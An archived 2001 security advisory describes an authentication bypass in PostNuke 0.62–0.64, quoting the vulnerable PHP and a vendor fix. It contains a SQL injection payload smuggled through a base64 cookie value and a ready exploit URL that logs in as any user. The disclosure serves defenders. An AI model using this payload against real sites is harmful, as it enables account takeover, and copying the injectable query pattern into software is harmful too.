home *** CD-ROM | disk | FTP | other *** search
/ Hackers Matrix / Hacker's Matrix (nCite Software) (2003).iso / Tutorials / hTut_0153.txt < prev    next >
Text File  |  2002-12-13  |  5KB  |  141 lines

  1. Bug in PostNuke 0.62, 0.63 and 0.64 (and possibly PHPnuke)
  2. Date: Samstag, 13. Oktober 2001 17:55
  3.  
  4. ----- IMPACT -----
  5. If an attacker knows the username and userid of a user on a
  6. PostNuked system, it is possible to log in as the user without
  7. specifying a password.
  8.  
  9. Userid/username is usually available from the Members list.
  10.  
  11. A fix is available at the end of this document.
  12.  
  13. ----- AFFECTED VERSIONS -----
  14. PostNuke 0.62, 0.63, 0.64
  15. PHPnuke is not tested. Version 5.2 (and earlier) contains the
  16. same code as PostNuke and could be vulnerable.
  17.  
  18. ----- BACKGROUND -----
  19. The vulnerable code is located in article.php and mainfile2.php
  20. (mainfile.php):
  21.  
  22. o article.php:
  23.  
  24. if ($save) {
  25.     cookiedecode($user);
  26.     mysql_query("update $pntable[users] set umode='$mode',
  27. uorder='$order', thold='$thold' where uid='$cookie[0]'");
  28.     getusrinfo($user);
  29.     $info =
  30. base64_encode("$userinfo[uid]:$userinfo[uname]:$userinfo[pass]:$u
  31. serinfo[storynum]:$userinfo[umode]:$userinfo[uorder]:$userinfo[th
  32. old]:$userinfo[noscore]");
  33.     setcookie("user","$info",time()+$cookieusrtime);
  34. }
  35.  
  36. o mainfile2.php (mainfile.php in PHPnuke and older versions of
  37. PostNuke):
  38.  
  39. function getusrinfo($user) {
  40.     global $userinfo, $pntable;
  41.     $user2 = base64_decode($user);
  42.     $user3 = explode(":", $user2);
  43.     $result = mysql_query("select uid, name, uname, email,
  44. femail, url, user_avatar, user_icq, user_occ, user_from,
  45. user_intrest, user_sig, user_viewemail, user_theme, user_aim,
  46. user_yim, user_msnm, pass, storynum, umode, uorder, thold,
  47. noscore, bio, ublockon, ublock, theme, commentmax,
  48. timezone_offset from $pntable[users] where uname='$user3[1]' and
  49. pass='$user3[2]'");
  50.     if(mysql_num_rows($result)==1) {
  51.         $userinfo = mysql_fetch_array($result);
  52.     } else {
  53.         echo "<font class=\"pn-title\">"._MPROBLEM."</font><br>";
  54.     }
  55.     return $userinfo;
  56. }
  57.  
  58. The bug is a result of the following issues:
  59.  
  60. o It is possible to invoke the if-clause in article.php by just
  61. specifying save=1 in the URL.
  62.  
  63. o article.php blindly accepts the $user variable specified in the
  64. URL.
  65.  
  66. o There is no code in article.php that checks if cookiedecode()
  67. actually worked and the password specified in $user is not
  68. checked against the MySQL-database.
  69.  
  70. o article.php accepts the $cookieusrtime variable as specified in
  71. the URL.
  72.  
  73. o It is possible to modify the mysql_query-string in getusrinfo()
  74. by escaping the "'" in $user[1] or $user[2]. Like this (without
  75. the double-quotes):
  76.    "'  or uname='USERNAME".
  77. getusrinfo() will then return anything with uname=USERNAME, even
  78. if the password doesn't match the one in $user. The full
  79. query-string sent to mysql will end up looking like this:
  80.  
  81. select uid, name, uname, email, femail, url, user_avatar,
  82. user_icq,
  83. user_occ, user_from, user_intrest, user_sig, user_viewemail,
  84. user_theme,
  85. user_aim, user_yim, user_msnm, pass, storynum, umode, uorder,
  86. thold, noscore,
  87. bio, ublockon, ublock, theme, commentmax, timezone_offset from
  88. $prefix"._users."
  89. where uname='USERNAME' and pass='' or uname='USERNAME'
  90.  
  91. To produce the query above the $user variable should contain a
  92. base64-encoded version of:
  93. USERID:USERNAME:' or uname 'USERNAME'     (base64_encoded)
  94.  
  95. o When the userinfo is received from getusrinfo() by article.php,
  96. it blindly sets a "user="-cookie containing the encrypted
  97. password.
  98.  
  99. ----- EXPLOIT -----
  100. If an attacker requests a URL consisting of...
  101.  
  102. article.php?save=1&      
  103. sid=20&      [any sid will do..]
  104. cookieusrtime=160000&     [to get a decent expire-date on the
  105. cookie]
  106. user=USERID:USERNAME:'  or uname='USERNAME      [base64_encoded]
  107.  
  108. ... and goes back to the mainpage, (s)he will be logged in as
  109. USERNAME.
  110.  
  111.  
  112. ----- FIX -----
  113. Thanks to Sascha Endlicher and John Cox (www.postnuke.com) for
  114. comming up with the fix below.
  115.  
  116. In article.php, change the offending code to:
  117.  
  118. if (($save) &&  (is_user($user))) {
  119.     cookiedecode($user);
  120.     mysql_query("update $pntable[users] set umode='$mode',
  121. uorder='$order', thold='$thold' where uid='$cookie[0]'");
  122.     getusrinfo($user);
  123.     $info =
  124. base64_encode("$userinfo[uid]:$userinfo[uname]:$userinfo[pass]:$u
  125. serinfo[storynum]:$userinfo[umode]:$userinfo[uorder]:$userinfo[th
  126. old]:$userinfo[noscore]");
  127.     setcookie("user","$info",time()+$cookieusrtime);
  128. }
  129.  
  130. This may work in PHPnuke as well.
  131.  
  132. A new version of article.php for PostNuke is available from
  133. https://sourceforge.net/project/showfiles.php?group_id=27927
  134. under Fixes.
  135.  
  136.  
  137.  
  138. Magnus Skjegstad
  139. magnus at skjegstad.com
  140.  
  141.